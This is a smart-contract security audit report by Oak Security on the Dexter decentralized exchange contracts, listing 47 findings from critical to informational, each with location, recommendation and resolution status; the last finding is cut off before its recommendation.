Audit Report

Dexter

v0.7

March 13, 2023

Table of Contents

License

Disclaimer

This audit has been performed by

Oak Security

https://oaksecurity.io/
info@oaksecurity.io

Introduction

Purpose of This Report

Oak Security has been engaged by Persistence Technologies (BVI) Pte Ltd to perform a security audit of Dexter.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following GitHub repository:

https://github.com/dexter-zone/dexter_core

This audit was performed in two stages:

Stage 1 - Dexter Core

Commit hash: `4a6e1eeae5459b000a3e78ac512b43b8847b5ed9`

Stage 2 - Multi-Staking, Router, and Emergency Pause Feature

Commit hash: `5947d7aafb34fbb614ba13b532127b46e4abb49a`

In the scope of stage 2 were only the contracts in `contracts/multi_staking`, `contracts/router`, as well as the addition of the emergency pause feature that has been added since stage 1.

Stage 3 - Updates and Scope Decrease

Commit hash: `a3406cb64c3e612e3d09dc8b429f160016321ca7`

In the scope of stage 3 were changes to the contracts since our last audit, including:

- Pausing extensions
- Claiming back unallocated rewards
- Update of fee-related hardcoded parameters
- Charging fee on `offer_asset` instead of `ask_asset`
- Additional bug fixes
- Removal of unused code. The following contracts have been removed from the scope of this audit in commit `5d0491208ffb6b9b41d2c90a85acf41f07d1bbaf`:
  - `generator`
  - `generator proxy`
  - `ref_staking`
  - `vesting`
  - `stable_pool`
  - `xyk_pool`

Stage 4 - Metastable Pool Features

Commit hash: `5dfdcebeeb834959c9c61f735f1e8293df393db9`

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line by line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
    a. Race condition analysis
    b. Under-/overflow issues
    c. Key management vulnerabilities
4. Report preparation

Functionality Overview

This audit scope focuses on Dexter Core and Dexter multi-staking and router contracts, along with the addition of an emergency pause feature to the other contracts. Dexter is the first DEX that is implemented as a generalized state transition executor where the transition's math computations are queried from the respective pool contracts, enabling a decentralized, non-custodial aggregated liquidity and exchange rate discovery among different tokens on Persistence. See the Codebase Submitted for the Audit section above for a more detailed audit stage breakdown.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

The status of an issue can be one of the following: **Pending,** **Acknowledged**, or **Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Medium	-
Code readability and clarity	Medium-High	-
Level of documentation	High	The Dexter technical design documents provide detailed descriptions of the codebase functionality.
Test coverage	Medium	The audited code contained failing test cases.

Summary of Findings

No	Description	Severity	Status
1	Excess liquidity pool tokens are never refunded to the user	Critical	Resolved
2	Malicious users can prevent stakers from withdrawing LP tokens and rewards	Critical	Resolved
3	Numerical non-convergence might lead to erroneous computations	Major	Acknowledged
4	`AfterJoinResponse` does not return fee value	Major	Resolved
5	Funds in the keeper contract cannot be withdrawn	Major	Acknowledged
6	Owner address is not validated	Major	Resolved
7	Duplicate scaling factors cause ineffective updates	Major	Resolved
8	Consider validating burn shares are greater than zero	Minor	Resolved
9	Users may receive unexpected mint amounts because the `lp_to_mint` parameter is unused	Minor	Acknowledged
10	Consider verifying the developer's address to be valid	Minor	Resolved
11	Users can send more liquidity pool tokens than specified	Minor	Resolved
12	Users can misconfigure weighted pool configuration	Minor	Resolved
13	Excess native funds sent are lost	Minor	Acknowledged
14	Owner address validation is not performed	Minor	Resolved
15	Multihop swap lacking multiswap_request validation	Minor	Resolved
16	Ended reward schedules consume unnecessary computation power	Minor	Acknowledged
17	UnclaimedRewards query returns incorrect value	Minor	Resolved
18	Removing and adding LP tokens might run out of gas if too many tokens are registered	Minor	Resolved

19	Unlocking liquidity pool tokens too frequently will prevent users from claiming them	Minor	Resolved
20	Multistaking contract address is not validated	Minor	Resolved
21	Proposal start delay is not validated	Minor	Acknowledged
22	scaling_factor_manager address is not validated	Minor	Resolved
23	Scaling factors can be instantiated with zero values	Minor	Resolved
24	Scaling factors introduce centralization risk	Minor	Acknowledged
25	Updatable LP token may introduce unintended consequences	Informational	Resolved
26	`addr_validate_to_lower` is no longer necessary	Informational	Resolved
27	Custom access controls implementation	Informational	Acknowledged
28	Incorrect display trait format for `Stable5Pool`	Informational	Resolved
29	Non-Unique token names and symbols may mislead users	Informational	Resolved
30	Replace magic numbers	Informational	Resolved
31	Documentation does not match functionality	Informational	Resolved
32	Deflationary tokens might cause unexpected issues	Informational	Acknowledged
33	Misspelled enum causing tests to fail	Informational	Resolved
34	Fee distribution is capped at only 75% of total fees	Informational	Acknowledged
35	Querying an arbitrary number of hops might mislead users	Informational	Resolved
36	Return detailed error message rather than generic overflow error	Informational	Resolved
37	No events are emitted for important executions	Informational	Acknowledged
38	Additional funds sent to the contract are lost	Informational	Acknowledged
39	Misleading error message	Informational	Resolved
40	General inefficiencies in codebase	Informational	Resolved
41	Reward information is not emitted along with the amount	Informational	Resolved

42	Events are emitted even though no reward is withdrawn	Informational	Resolved
43	Duplicate execution when updating `lp_token_code_id`	Informational	Resolved
44	`paused` attribute is not emitted when updating pool configurations	Informational	Resolved
45	Incorrect sender emitted when bonding for a beneficiary	Informational	Resolved
46	Ask asset scaling factor is retrieved twice which is inefficient	Informational	Resolved
47	No entry points for vault contract to update stable pool params	Informational	Resolved

Detailed Findings

1. Excess liquidity pool tokens are never refunded to the user

Severity: Critical

In `contracts/vault/src/contract.rs:1084`, excess liquidity pool tokens are refunded to the caller. However, the recipient should be `cw20_msg.sender` instead of `info.sender`, which represents the liquidity pool token itself instead of the original sender. Consequently, excess tokens will be transferred to the liquidity token itself, causing a loss of funds for the sender.

Recommendation

We recommend modifying line `1084` to transfer excess liquidity pool tokens to the original caller.

Status: Resolved

2. Malicious users can prevent stakers from withdrawing LP tokens and rewards

Severity: Critical

The `add_reward_schedule` function in `contracts/multi_staking/src/contract.rs:183` allows any user to add a rewards schedule with any asset. This is problematic because a user may add a malicious token contract that returns an error when its `Transfer` message is invoked, effectively blocking users from being able to withdraw their funds.

In addition, this function also presents the opportunity for anyone to increase the size of `LP_GLOBAL_STATE` and `REWARD_SCHEDULES` to the point where they will return out-of-gas errors. For example, an attacker can create many CW20 tokens and send them as reward assets, causing iterations to fail due to the execution limit.

Iterations that will fail can be found in the following locations:

- `contracts/multi_staking/src/contract.rs:295`
- `contracts/multi_staking/src/contract.rs:357`
- `contracts/multi_staking/src/contract.rs:403`
- `contracts/multi_staking/src/contract.rs:570`
- `contracts/multi_staking/src/contract.rs:615`

We classify this issue as critical because both attacks would prevent users from withdrawing their liquidity pool tokens and rewards.

Recommendation

We recommend creating a whitelist of assets that are allowed to be added to a reward schedule. This will prevent unknown or malicious assets from being added.

In addition to this whitelist, we suggest adding a maximum number of assets that may exist for a reward schedule and a minimum amount of rewards to prevent potential close to zero rewards from being distributed to the stakers.

Status: Resolved

3. Numerical non-convergence might lead to erroneous computations

Severity: Major

The non-convergence of the solver in `contracts/stable_5pool/src/math.rs:45-70` is not handled. A loop carries out up to 32 iterations over an approximating function, and after the iterations, the computations are carried out with the last approximating value. Consequently, the value might not be at the desired precision, which might cause erroneous computations. Furthermore, this computation is a sub-computation of another solver (`calc_y` in line `83`), which might also lead to a situation where two approximated values of a proposed `d` lead to the same value in `y` and an erroneous convergence of `calc_y`.

Recommendation

We recommend defining a desired solver precision for the parameter values and checking for convergence of the parameter values within that range. In `contracts/stable_5pool/src/math.rs`, the convergence of `d` could be checked within `calc_y` if the computation is otherwise infeasible. Non-convergence should be handled with an error message.

Status: Acknowledged

The client acknowledged this finding based on the simulations done by their team and similar approximation functionality working on mainnet (Osmosis/Balancer/Curve). The client has determined that performing 32 iterations to calculate an approximate value should give them a good enough approximation for the parameter being calculated.

4. `AfterJoinResponse` does not return fee value

Severity: Major

The `execute_join_pool` function in `contracts/vault/src/contract.rs:749-775` includes logic to handle a fee returned in the `AfterJoinResponse`. Each of the current pools returns `None` for this value during `OnJoinPool`, so currently, the logic is unused. This will result in the collected fees not being sent to the protocol fee collector or the developer fee collector.

Recommendation

We recommend adjusting the `AfterJoinResponse` to return a fee value for the pools that should return a fee.

Status: Resolved

5. Funds in the keeper contract cannot be withdrawn

Severity: Major

In `contracts/keeper/src/contract.rs:70-81`, there is no functionality for the vault owner to withdraw funds from the keeper contract. Funds will be sent to the keeper contract as part of the protocol fees. This means that the vault owner cannot withdraw collected protocol fees.

Recommendation

We recommend implementing a withdrawal functionality for the vault owner.

Status: Acknowledged

The client states that the keeper contract is meant to act as a treasurer of the protocol fees until assembly governance is implemented, post which the keeper contract can be migrated to a new code Id which contains all the necessary functionalities as required by the assembly.

6. Owner address is not validated

Severity: Major

In `contracts/keeper/src/contract.rs:45`, `msg.owner` is not validated before it is saved. If the address is incorrectly set and that goes unnoticed, it could result in a loss of funds once the keeper contract begins to receive funds.

Recommendation

We recommend validating the owner address before it is saved in the instantiate function.

Status: Resolved

7. Duplicate scaling factors cause ineffective updates

Severity: Major

In `contracts/pools/stable_pool/src/contract.rs:74-88`, the provided scaling factors are validated to ensure the asset information exists in the pool. However, no validation is performed to ensure duplicate assets are not provided.

This is problematic because the `update_scaling_factor` function can only update the first index, as seen in line `287`. In contrast, the `scaling_factors` function returns the last value if there is a duplicated asset (see `contracts/pools/stable_pool/src/state.rs:57`). As a result, the old scaling factor will still be used despite being updated via the `StablePoolUpdateParams::UpdateScalingFactor` message.

Please see the `test_ineffective_scaling_factor_update` test case to reproduce the issue.

We classify this issue as major since it prevents the scaling factor manager from updating the configurations correctly.

Recommendation

We recommend validating that no duplicate scaling factors exist during the contract instantiation phase.

Status: Resolved

8. Consider validating burn shares are greater than zero

Severity: Minor

In `contracts/stable_5pool/src/contract.rs:603-621`, errors that occur inside the `imbalanced_withdraw` function are silenced, causing the shares to burn to become zero. An attacker can send a message that causes errors inside the `imbalanced_withdraw` functionality to withdraw funds from the pool without burning the required tokens.

Due to the fact that no validation exists to ensure that the burn amount is not zero, attackers cannot exploit this like the previous issue due to the inability to burn 0 liquidity pool tokens in `contracts/vault/src/contract.rs:1073`. However, a code refactor might change this, such as adding an if statement only to burn shares if it's higher than zero.

Please see the burn_funds_free_asset test case in the appendix to reproduce this issue.

Recommendation

We recommend validating that the burn share is not zero in the `stable_5pool` and vault contracts.

Status: Resolved

9. Users may receive unexpected mint amounts because the `lp_to_mint` parameter is unused

Severity: Minor

The `execute_join_pool` function in `contracts/vault/src/contract.rs:694` provides the optional parameter of `lp_to_mint`, which allows the caller to specify the amount of LP tokens they want to get against their provided assets. This value is silently ignored for all the existing pool types. For example, the weighted pool's `query_on_join_pool` function in `contracts/weighted_pool/src/contract.rs:381` ignores the `_mint_amount` parameter entirely and performs no checks to validate that it is met.

This issue is found in all of the following pool types:

- `stable5 - query_on_join_pool - contracts/stable_5pool/src/contract.rs:392`
- `weighted - query_on_join_pool - contracts/weighted_pool/src/contract.rs:381`

The `lp_to_mint` is currently an unused parameter that should either be removed or enforced. The current implementation can result in the user receiving an amount of LP tokens that were not expected.

Recommendation

We recommend removing the `lp_to_mint` parameter from the `execute_join_pool` function or enforcing its value in each of the above-mentioned pool types.

Status: Acknowledged

The client mentioned that while the `lp_to_mint` parameter is currently not used by any of the supported pool types, it is provided in the query to make sure that the query structs are generic enough so that any pool type which may be added in the future can use the `lp_to_mint` amount provided by the user in-case its `join_pool` logic requires it to do so.

10. Consider verifying the developer's address to be valid

Severity: Minor

In `contracts/vault/src/contract.rs:81-82`, the developer's address inside the fee info is not checked to be a valid address. This is problematic because the developer's address is used to update the pool's configuration in line `329`. Other than that, executions that send the fee to the developer would fail due to an invalid address specified.

We classify this issue as minor since only the admin can cause it.

Recommendation

We recommend validating the developer's address if provided in `contracts/vault/src/contract.rs:81-83` and during the `execute_add_to_registry` function.

Status: Resolved

11. Users can send more liquidity pool tokens than specified

Severity: Minor

In `contracts/vault/src:228`, the second condition verifies that the specified burn amount must be higher than the actual amount transferred. This is problematic because if a user sent extra liquidity pool tokens, the tokens would be stuck in the contract. For example, Alice can send 500 tokens but may only specify the burn amount as 300. As a result, 200 tokens are not refunded back to Alice due to the refund amount being determined by the `burn_amount`.

We classify this as a minor issue since it can only be caused by user misconfiguration.

Recommendation

We recommend checking whether the specified burn amount is equal to the sent amount. Alternatively, we recommend removing the `burn_amount` parameter completely from the `Cw20HookMsg::ExitPool` message and directly determining the burn amount from the sent amount.

Status: Resolved

12. Users can misconfigure weighted pool configuration

Severity: Minor

During the contract initialization process for the weighted pool, no validation ensures the provided `WeightedParams` in `contracts/weighted_pool/src/contract.rs:66` is valid with the asset information.

The current implementation allows users to configure duplicate weighted assets, which causes incorrect final weights. Other than that, the contract accepts a zero weight amount, causing a division by zero panic in `contracts/weighted_pool/src/utils.rs:196`.

Recommendation

We recommend applying the following validations for weighted assets:

- Ensure no duplicate exists inside the weighted asset vector
- Ensure the contents of weighted assets must be the same as the provided asset information
- Reject zero weighted assets

Status: Resolved

13. Excess native funds sent are lost

Severity: Minor

The `execute_join_pool` function in `contracts/vault/src/contract.rs:820` calls the `find_sent_native_token_balance` function to get the amount of a specified denom if the pool being joined includes native funds. This check ensures that `info.funds` contains the specified denom, but the `execute_join_pool` function should also ensure that `info.funds` does not contain any unexpected denoms. Otherwise those excess funds would be lost.

Recommendation

We recommend validating that `info.funds` does not contain any funds other than the native tokens required for the specific pool the user is joining.

Status: Acknowledged

The client states that the addition of this validation would incur additional gas costs which would outweigh the impact of the user sending excess funds which is a low probability event.

14. Owner address validation is not performed

Severity: Minor

The `instantiate` function in `contracts/multi_staking/src/contract.rs:43` does not validate `msg.owner`. An address validation should occur before an address value is stored in the contract's config. If this field were improperly set to an invalid address, then the contract would lose all of its owner functionality.

Similarly, `beneficiary` is not validated in `contracts/multi_staking/src/contract.rs:255` before the value is passed to the `bond` function.

Recommendation

We recommend validating `msg.owner` before saving `CONFIG` and validating the `beneficiary` address before the `bond` is performed.

Status: Resolved

15. Multihop swap lacking `multiswap_request` validation

Severity: Minor

The `execute_multihop_swap` function in `contracts/router/src/contract.rs:117` does not perform any validation or pre-processing on the user-supplied vector of `HopSwapRequest`. The user-supplied

multiswap routes should have at least minimal validation before the swapping callback sequence is initiated.

Recommendation

We recommend including validations in the `execute_multihop_swap` function. Similar to the astroport router contract, the `execute_multihop_swap` should include both a `MAX_SWAP_OPERATIONS` value enforced and an internal function that validates swap operation similarly to Astroport's `assert_operations` function.

Status: Resolved

16. Ended reward schedules consume unnecessary computation power

Severity: Minor

In `contracts/multi_staking/src/contract.rs:295-301`, the `compute_reward` function takes all reward schedules and skips the ones that have ended. This causes unnecessary gas consumption as ended reward schedules do not need to be processed. Suppose a scenario where the number of finished reward schedules grows too large such that an out-of-gas error would occur in the `compute_reward` function, preventing users from withdrawing liquidity pool tokens and rewards.

Recommendation

We recommend removing ended reward schedules to reduce gas consumption.

Status: Acknowledged

The client stated that they accept this risk as they are only adding reward schedules after a review by the admin. Therefore, they do not expect the array to grow too large. Even if it grows considerably, the current code skips ended reward schedules. Hence, skip does not really add much to computing.

17. `UnclaimedRewards` query returns incorrect value

Severity: Minor

In `contracts/multi_staking/src/contract.rs:628`, the `last_distributed` value defaults to the supplied `block_time` value if the `ASSET_LP_REWARD_STATE` does not exist. This is incorrect because the `update_staking_rewards` function defaults the value to zero, as seen in `contracts/multi_staking/src/contract.rs:467`. Consequently, the `UnclaimedRewards` query will return a lower unclaimed rewards value than it should.

Please see the test_incorrect_query_unclaimed_rewards test case in the appendix to reproduce this issue.

We classify this issue as minor since it only affects the `UnclaimedRewards` query return value.

Recommendation

We recommend modifying line `628` to zero to be consistent with the `update_staking_rewards` function.

Status: Resolved

18. Removing and adding LP tokens might run out of gas if too many tokens are registered

Severity: Minor

In `contracts/multi_staking/src/contract.rs:144-180`, the `allow_lp_token` and `remove_lp_token_from_allowed_list` functions might run out of gas if too many LP tokens are registered. As a consequence, removing and adding LP tokens will become impossible. Only a migration of the contract allows recovery from this issue.

We classify this issue as minor since it can only be caused by an admin.

Recommendation

We recommend setting a maximum amount of LP tokens supported by the protocol.

Status: Resolved

19. Unlocking liquidity pool tokens too frequently will prevent users from claiming them

Severity: Minor

In `contracts/multi_staking/src/contract.rs:499-515`, the `unlock` function iterates over all user's unlocking positions and filters them. If a user requests to unbond their liquidity pool tokens too many times, the `USER_LP_TOKEN_LOCKS` for the specific user will grow too large to be processed, causing an out-of-gas error eventually.

We classify this issue as minor because it is unlikely that users will unbond their liquidity pool tokens to an amount high enough to cause computation limit issues.

Recommendation

We recommend implementing a max unbonding limit for a user's liquidity pool tokens.

Status: Resolved

20. `Multistaking` contract address is not validated

Severity: Minor

In `contracts/vault/src/contract.rs:90`, the supplied `msg.auto_stake_impl` value is not validated to ensure the `contract_addr` in the `Multistaking` field is a valid address. An invalid address would cause the `execute_join_pool` function to fail in `contracts/vault/src/contract.rs:1890`.

This issue is also present in the configuration update phase in lines `386-389`.

We classify this issue as minor since only the contract owner can cause it.

Recommendation

We recommend validating the contract address supplied in the `Multistaking` field.

Status: Resolved

21. Proposal start delay is not validated

Severity: Minor

In `contracts/multi_staking/src/contract.rs:55` and `201`, the value of `msg.minimum_reward_schedule_proposal_start_delay` is not validated. At a minimum, this value should be checked to not be 0. A zero or low value could lead to unintended consequences.

Recommendation

We recommend validating that the value `msg.minimum_reward_schedule_proposal_start_delay` is not 0 or low value.

Status: Acknowledged

The client states that this parameter will be highly vetted by muli-sig signers. If a misconfiguration were to be introduced, it could be fixed with an update.

22. `scaling_factor_manager` address is not validated

Severity: Minor

In the `update_scaling_factor_manager` function in `contracts/pools/stable_pool/src/contract.rs:334`, the `addr` value of `scaling_factor_manager` is not checked to ensure it is a valid address.

Recommendation

We recommend validating this address before it is saved to `STABLESWAP_CONFIG`.

Status: Resolved

23. Scaling factors can be instantiated with zero values

Severity: Minor

In `contracts/pools/stable_pool/src/contract.rs:166`, the values of `params.scaling_factors` are not validated to ensure they are not zero. This is inconsistent with the configuration update phase in lines `277-299`, where the scaling factor value is ensured to be greater than zero. In the case of a zero value, the `with_scaling_factor` function could fail in `packages/dexter/src/asset.rs:466`, due to division by zero error, causing most core operations to fail.

We classify this issue as minor since only the pool instantiator can cause it.

Recommendation

We recommend validating that the provided scaling factor values are greater than zero.

Status: Resolved

24. Scaling factors introduce centralization risk

Severity: Minor

The scaling factors introduce a centralization risk in which a single entity can scale down or up any asset price by significant percentage values. Generally, admin influence on asset pricing is considered a violation of best practices. We classify this issue as minor, since such functionality is nevertheless common practice in the industry.

Recommendation

We recommend limiting the centralization risk as much as possible by validating that the scaling factor is in a narrow interval around one. We do not see a necessity for a scaling factor to be larger than one and hence recommend validating that it is less than or equal to one. We also recommend enforcing a minimum scaling factor to reduce the impact of a compromised admin account. In addition, some logic could be introduced to limit the assets that can be scaled – e.g., only those that belong to a staking derivative pool.

Status: Acknowledged

25. Updatable LP token may introduce unintended consequences

Severity: Informational

Each of the pool types contains a `set_lp_token` function which allows the vault contract address to update the LP token address. This is used when performing the initial pool setup operations. This function does not prevent the vault address from overwriting an existing LP token address stored in the pool contracts config.

We classify this as informational because the vault contract does not currently support the functionality to call `set_lp_token` after the pool has been created. But this can be introduced in future versions, so it is best practice to ensure that it cannot be changed once it is set.

Recommendation

We recommend first checking that the `config.lp_token_addr` is unset before updating the value. If the value is `Some`, we recommend returning an error.

Status: Resolved

26. `addr_validate_to_lower` is no longer necessary

Severity: Informational

The `addr_validate_to_lower` function in `packages/dexter/src/asset.rs:344` is no longer necessary as the `api.addr_validate` now performs an additional case sensitivity check on the address parameter.

Recommendation

We recommend removing the `addr_validate_to_lower` function and using the `api.addr_validate` function.

Status: Resolved

27. Custom access controls implementation

Severity: Informational

The contracts within scope implement custom access controls. Although no instances of broken controls or bypasses have been found, using a battle-tested implementation reduces potential risks and the complexity of the codebase.

The custom access control logic is duplicated across permission functions, negatively impacting the code's readability and maintainability.

Recommendation

We recommend using a well-known access control implementation such as `cw_controllers::Admin` (https://docs.rs/cw-controllers/0.14.0/cw_controllers/struct.Admin.html).

Status: Acknowledged

The Dexter team replied: We acknowledge this issue and are of the opinion that the current access control functionality does not expose any vulnerability and doesn't need to be changed.

28. Incorrect display trait format for `Stable5Pool`

Severity: Informational

In `packages/dexter/src/vault.rs:46` the `Display` trait for the `Stable5Pool PoolType` displays `"stable-3-pool"`, this is incorrect and may be misleading when it is displayed.

Recommendation

We recommend updating the `Display` trait for the `Stable5Pool PoolType` to `"stable-5-pool"`.

Status: Resolved

29. Non-Unique token names and symbols may mislead users

Severity: Informational

In `contracts/vault/src/contract.rs:505-508`, duplicate token names and symbols might exist. While this is not an issue for the functionality in the back end, it might lead to confusion for the end user, when these variables are used in the front end and thereby facilitate the operations of fraudulent projects.

Recommendation

We recommend allowing only unique token names and symbols.

Status: Resolved

30. Replace magic numbers

Severity: Informational

Throughout the codebase, so-called “magic numbers” are used. Magic numbers are hard-coded numbers without context or other descriptions. Using magic numbers goes against best practices as they reduce code readability and maintainability as developers cannot easily understand their use and may accidentally introduce inconsistent changes across the code base.

Instances of magic numbers are listed below:

- `contracts/stable_5pool/src/utils.rs:78`
- `contracts/stable_5pool/src/contract.rs:522`
- `contracts/stable_pool/src/contract.rs:917`

Recommendation

We recommend defining magic numbers as constants with descriptive variable names and comments, where necessary.

Status: Resolved

31. Documentation does not match functionality

Severity: Informational

The documentation for `stable_pool` and `stable_5pool` states that the `Update_Config` entry point is not supported for both of these pool types. Still, each of these pool types provides an `update_config` function.

Recommendation

We recommend updating the documentation to describe that those pool types implement the `Update_Config` entry point.

Status: Resolved

32. Deflationary tokens might cause unexpected issues

Severity: Informational

Dexter uses an architecture design similar to Balancer. Throughout the codebase and documentation, no comments mention that incompatible token types should be avoided. For example, the contract would not account for a custom CW20 token that charges extra fees, causing a potential loss for users who stake in the pool.

The following token types should be considered:

- Streaming tokens
- Rebasing tokens
- Deflationary tokens
- Inflationary tokens
- Tokens that charge transfer fees

Recommendation

We recommend explicitly mentioning this issue in the documentation and/or in the user interface.

Status: Acknowledged

The Dexter team stated that the following links will be added to the documentation.

1. https://docs.balancer.fi/security/token-compatibility#incompatibile-token-types
2. https://peckshield.medium.com/balancer-hacks-root-cause-and-loss-analysis-4916f7f0fff5
3. https://blog.1inch.io/balancer-hack-2020-a8f7131c980e

33. Misspelled enum causing tests to fail

Severity: Informational

In the vault's `QueryMsg` enum in `packages/dexter/src/vault.rs:307`, the registry query is misspelled as `QueryRigistery`. This needs to be updated to `QueryRegistry` for the tests to pass. It is also of note that the `query_rigistery` function is misspelled.

Recommendation

We recommend correcting the spelling errors mentioned above.

Status: Resolved

34. Fee distribution is capped at only `75%` of total fees

Severity: Informational

In `contracts/vault/src/contract.rs:762-764`, the total fees are split up into `protocol_fee` and `dev_fee` however, `MAX_PROTOCOL_FEE_PERCENT` is a limit to `protocol_fee` of 50% of total fees and `MAX_DEV_FEE_PERCENT` limits `dev_fee` to 25% of total fees. In addition, no check is carried out that the fees add up to the total fees. We did not find any erroneous payments that are made conditional on these computations, but this behavior is not documented.

Recommendation

We recommend validating that after the fees are split, all fee categories add up to 100%.

Status: Acknowledged

The client states that the difference between the total fee and the sum of `protocol_fee` and `dev_fee` is actually the LP fee. Having a max cap of 75% for (`protocol_fee` plus `dev_fee`) implies that the LP fee should be at least 25%.

35. Querying an arbitrary number of hops might mislead users

Severity: Informational

In `contracts/router/src/contract.rs`, the `query_simulate_multihop` query supports an unlimited number of hops. This might misinform users that an arbitrary number of hops is possible, which might mislead users about possible strategies that might be profitable during a simulation, but would not be profitable once accounting for gas.

Recommendation

We recommend limiting the number of hops that can be queried or sending a warning message if more than a threshold is queried.

Status: Resolved

36. Return detailed error message rather than generic overflow error

Severity: Informational

The `unbond` function in `contracts/multi_staking/src/contract.rs:386` will return a generic overflow error if the caller specifies an amount that is greater than `current_bond_amount` in line `424` as the result of the checked subtraction. Since this is a possible scenario, it is best to return a detailed error message here.

Recommendation

We recommend returning a detailed error message if the caller of `unbond` attempts to unbond an amount that is greater than their currently bonded amount. In addition, to increase the user experience, it could be an option to make the `amount` an optional parameter, and if it is `None`, then the full amount of the position is unbonded rather than the user having to specify the exact amount to unbond.

Status: Resolved

37. No events are emitted for important executions

Severity: Informational

There are multiple functions within the scope of this audit that do not emit any events or attributes. It is best practice to emit events and attributes to improve the usability of the contracts as well as to support the off-chain event listeners and blockchain indexers.

The following functions do not emit events or attributes:

- `contracts/multi_staking/src/contract.rs:48`, `163`, `180`, and `238`
- `contracts/router/src/contract.rs:41`

Recommendation

We recommend emitting events and attributes for the functions mentioned above.

Status: Acknowledged

The client stated that the transaction parameters can be used for off-chain indexing purposes and chose to keep the default response.

38. Additional funds sent to the contract are lost

Severity: Informational

In `contracts/router/src/contract.rs:164-171`, a check is performed that ensures that in the transaction, there is a `Coin` with the expected `denom` field.

This validation does not ensure that no other native tokens are sent though, and any additional native tokens are not returned to the user, so they will be stuck in the contract forever.

Recommendation

We recommend checking that the transaction contains only the expected `Coin` using https://docs.rs/cw-utils/latest/cw_utils/fn.must_pay.html.

Status: Acknowledged

The client stated that they acknowledge this finding and do not see it as an issue regarding the current implementation.

39. Misleading error message

Severity: Informational

The error message in `contracts/router/src/contract.rs:158-159` is difficult to interpret because the text output does match the variable names.

```
"Invalid number of tokens sent. Tokens sent = {} Tokens received = {}", tokens_received, offer_amount
```

Recommendation

We recommend updating the error message such that the text output matches the variable names. For example: `"Invalid number of tokens sent. The offer amount is larger than the number of tokens received.  Tokens received = {} Tokens offered = {}"`.

Status: Resolved

40. General inefficiencies in codebase

Severity: Informational

In several instances of the codebase, some of the code can be omitted as it is unnecessary.

The `info.sender` does not need to be validated as Cosmos SDK already validates that only valid addresses can be transaction senders. This issue was present in the following code lines:

- `contracts/multi_staking/src/contract.rs:249`
- `contracts/multi_staking/src/contract.rs:254`
- `contracts/multi_staking/src/contract.rs:262`

`contracts/multi_staking/src/contract.rs:533` can also be removed because the staker's reward index is already set to the reward state's reward index in the `compute_staker_reward` function.

Recommendation

We recommend resolving the inefficiencies above.

Status: Resolved

41. Reward information is not emitted along with the amount

Severity: Informational

In `contracts/multi_staking/src/contract.rs:279-281`, the creator's claimable reward amount is emitted in the `claim_unallocated_reward` function. However, the asset information is not included, potentially forcing users to query the reward schedule ID to figure out what type of reward the creator claimed.

Recommendation

We recommend emitting the asset information `reward_schedule.asset` along with the amount.

Status: Resolved

42. Events are emitted even though no reward is withdrawn

Severity: Informational

In `contracts/multi_staking/src/contract.rs:999-1003`, the `dexter-multistaking::withdraw_reward` event is emitted even if the pending reward is zero, which is inefficient and may confuse off-chain components. The pending reward will only be sent to the user if the amount exceeds zero, as seen in lines `1005-1015`.

Recommendation

We recommend only emitting the event if the pending reward exceeds zero.

Status: Resolved

43. Duplicate execution when updating `lp_token_code_id`

Severity: Informational

In `contracts/vault/src/contract.rs:398-404`, the code attempts to update the configured `lp_token_code_id` value. However, the value was already updated in lines `359-366`. This duplication is inefficient.

Recommendation

We recommend removing lines `398-404` to prevent a duplicate execution.

Status: Resolved

44. `paused` attribute is not emitted when updating pool configurations

Severity: Informational

In `contracts/vault/src/contract.rs:493-495`, the `paused` attribute is not included in the `dexter-vault::update_pool_type_config` event when updated. This is inconsistent with other updated configurations, such as `allow_instantiation` and `default_fee_info`, where the associated values are emitted accordingly.

Recommendation

We recommend emitting the `paused` value in the `dexter-vault::update_pool_type_config` event.

Status: Resolved

45. Incorrect sender emitted when bonding for a beneficiary

Severity: Informational

In `contracts/multi_staking/src/contract.rs:767`, the `user` will be emitted as the `sender` of the `bond` function. In a scenario where `Cw20HookMsg::BondForBeneficiary` was executed to bond for a specified beneficiary, the beneficiary will be seen as the transaction's sender, as seen in line `612`. This is incorrect as the sender is `cw20_msg.sender`, not the beneficiary recipient.

Recommendation

We recommend emitting the sender as `cw20_msg.sender` instead of the beneficiary.

Status: Resolved

46. Ask asset scaling factor is retrieved twice which is inefficient

Severity: Informational

In `contracts/pools/stable_pool/src/contract.rs:995`, the ask asset's scaling factor is retrieved and used in line `1006` when computing the swap amount. Since the scaling factor value is already retrieved in line `968`, the current approach to determining the `GiveIn` swap type consumes unnecessary computation power.

Recommendation

We recommend removing line `995` and using the `ask_asset_scaling_factor` value from line `968` instead.

Status: Resolved

47. No entry points for vault contract to update stable pool params

Severity: Informational

In `contracts/pools/stable_pool/src/contract.rs:335`, `372`, `1223`, and `1285`, an authentication check is performed to ensure the caller is either the vault owner or vault contract. Since there are no entry points in the vault contract to call them, the authentication check for the vault contract will never be successful.

Recommendation

